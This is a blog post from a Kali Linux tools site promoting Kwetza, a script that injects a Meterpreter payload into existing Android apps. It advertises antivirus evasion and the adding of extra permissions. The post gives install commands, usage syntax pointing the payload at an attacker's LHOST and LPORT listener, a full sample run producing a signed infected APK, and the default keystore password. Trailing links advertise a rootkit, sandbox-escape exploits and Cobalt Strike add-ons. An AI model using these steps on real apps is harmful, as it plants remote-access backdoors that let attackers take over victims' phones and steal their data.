Categories: Kali Linux

Kwetza – Tool To Infect An Existing Android Application With A Meterpreter Payload

Kwetza is a tool that allows you to infect an existing Android application with a Meterpreter payload. Python script to inject existing Android applications with a Meterpreter payload.

What Kwetza actually do ?

Kwetza infects an existing Android application with either custom or default payload templates to avoid detection by antivirus. Kwetza allows you to infect Android applications using the target application’s default permissions or inject additional permissions to gain additional functionality.

Also Read Pemcracker – Tool to crack encrypted PEM files

Getting the code

Firstly get the code:

git clone https://github.com/sensepost/kwetza.git

It is written in Python and requires BeautifulSoup which can be installed using Pip:

pip install beautifulsoup4

It requires Apktool to be install and accessible via your PATH. This can be setup using the install instructions located here.

Usage

python kwetza.py nameOfTheApkToInfect.apk https/tcp LHOST LPORT yes/no customClass

  • nameOfTheApkToInfect.apk = name of the APK you wish to infect.
  • https/tcp = select either a HTTPS or TCP connection
  • LHOST = IP of your listener.
  • LPORT = Port of your listener.
  • yes = include “yes” to inject additional evil perms into the app, “no” to utilize the default permissions of the app.
  • customClass = Specify a custom activity here if you want it to inject into this activity.
python kwetza.py hackme.apk https 10.42.0.118 4444 yes com.moo.another.activity
[+] MMMMMM KWETZA
[*] DECOMPILING TARGET APK
[+] ENDPOINT IP: 10.42.0.118
[+] ENDPOINT PORT: 4444
[+] APKTOOL DECOMPILED SUCCESS
[*] BYTING COMMS...
[*] ANALYZING ANDROID MANIFEST...
[+] TARGET ACTIVITY: com.foo.moo.gui.MainActivity
[*] INJECTION INTO APK
[+] CHECKING IF ADDITIONAL PERMS TO BE ADDED
[*] INJECTION OF CRAZY PERMS TO BE DONE!
[+] TIME TO BUILD INFECTED APK
[*] EXECUTING APKTOOL BUILD COMMAND
[+] BUILD RESULT
############################################
I: Using APktool 2.2.0
I: Checking whether source shas changed...
I: Smaling smali folder into classes.dex
I: Checking whether resources has changed...
I: Building resources...
I: Copying libs ...(/lib)
I: Building apk file...
I: Copying unknown files/dir...
###########################################
[*] EXECUTING JARSIGNER COMMAND...
Enter Passphrase for keystore: password
[+] JARSIGNER RESULT
###########################################
jar signed.

###########################################

[+] L00t located at hackme/dist/hackme.apk

Information

This tool has been developed to work with Python 2.

It by default will use the template and keystore located in the folder “payload” to inject and sign the infected apk.

If you would like to sign the infected application with your own certificate, generate a new keystore and place it in the “payload” folder and rename to the existing keystore or change the reference in the kwetza.py.

The same can be done for payload templates.

The password for the default keystore is, well, “password”.

R K

Recent Posts

Shadow-rs : Harnessing Rust’s Power For Kernel-Level Security Research

shadow-rs is a Windows kernel rootkit written in Rust, demonstrating advanced techniques for kernel manipulation…

1 week ago

ExecutePeFromPngViaLNK – Advanced Execution Of Embedded PE Files via PNG And LNK

Extract and execute a PE embedded within a PNG file using an LNK file. The…

2 weeks ago

Red Team Certification – A Comprehensive Guide To Advancing In Cybersecurity Operations

Embark on the journey of becoming a certified Red Team professional with our definitive guide.…

2 weeks ago

CVE-2024-5836 / CVE-2024-6778 : Chromium Sandbox Escape via Extension Exploits

This repository contains proof of concept exploits for CVE-2024-5836 and CVE-2024-6778, which are vulnerabilities within…

3 weeks ago

Rust BOFs – Unlocking New Potentials In Cobalt Strike

This took me like 4 days (+2 days for an update), but I got it…

3 weeks ago

MaLDAPtive – Pioneering LDAP SearchFilter Parsing And Security Framework

MaLDAPtive is a framework for LDAP SearchFilter parsing, obfuscation, deobfuscation and detection. Its foundation is…

3 weeks ago